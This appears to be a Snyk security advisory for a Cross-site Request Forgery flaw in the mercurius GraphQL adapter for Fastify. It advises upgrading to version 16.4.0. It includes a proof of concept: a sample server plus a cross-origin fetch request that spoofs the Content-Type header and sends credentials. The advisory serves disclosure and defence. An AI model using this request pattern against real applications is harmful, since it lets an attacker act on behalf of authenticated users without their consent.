Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Cross-site Request Forgery (CSRF) vulnerabilities in an interactive lesson.
Start learningUpgrade mercurius to version 16.4.0 or higher.
mercurius is a GraphQL adapter for Fastify
Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) due to incorrect parsing of the Content-Type header. An attacker can perform unauthorized actions on behalf of an authenticated user by sending specially crafted cross-origin requests that bypass CORS protections.
// Server-side Fastify setup
const Fastify = require('fastify');
const mercurius = require('mercurius');
const app = Fastify();
const schema = `
type Query {
hello(name: String): String
}
`;
const resolvers = {
Query: {
hello: (_, { name }) => `Hello ${name || 'World'}!`
}
};
app.register(mercurius, { schema, resolvers });
app.listen(3000, () => {
console.log('Server listening on http://localhost:3000');
});
// Malicious client-side code
fetch('http://localhost:3000/graphql', {
method: 'POST',
body: JSON.stringify({ query: '{ hello(name: "attacker") }' }),
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
credentials: 'include'
});